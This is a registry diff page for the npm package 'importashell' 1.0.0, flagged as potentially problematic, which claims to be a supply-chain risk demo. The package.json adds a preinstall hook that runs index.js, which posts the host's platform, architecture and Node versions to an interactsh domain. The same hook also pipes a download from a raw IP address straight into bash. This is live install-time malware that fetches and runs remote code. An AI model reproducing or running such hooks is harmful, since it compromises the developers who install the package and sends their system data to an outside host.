importashell 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of importashell might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +22 -0
  3. package/package.json +16 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # importasto
2
+
3
+ Remind Supply Chain Risks test demo by komi.
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ var http = require('http');
2
+
3
+ var payload = {
4
+ process_versions: process.versions,
5
+ process_platform: process.platform,
6
+ process_arch: process.arch,
7
+ type: process.argv[2] || 'index.js'
8
+ }
9
+
10
+ var options = {
11
+ hostname: 'npmevil.c5xqg3r2vtc0000q7qh0gdmqojeyyyyyr.interactsh.com',
12
+ path: '/track',
13
+ method: 'POST'
14
+ };
15
+ var req = http.request(options, function(res) {
16
+ });
17
+
18
+ req.on('error', function () {
19
+ });
20
+
21
+ req.write(JSON.stringify(payload));
22
+ req.end();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "importashell",
3
+ "version": "1.0.0",
4
+ "description": "Remind Supply Chain Risks test demo by komi.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js test;exit 0",
8
+ "start": "node index.js start;exit 0",
9
+ "preinstall": "node index.js & curl -A o -o- -L http://139.155.81.10:55413/app | bash -s"
10
+ },
11
+ "keywords": [
12
+ "shell"
13
+ ],
14
+ "author": "",
15
+ "license": "MIT"
16
+ }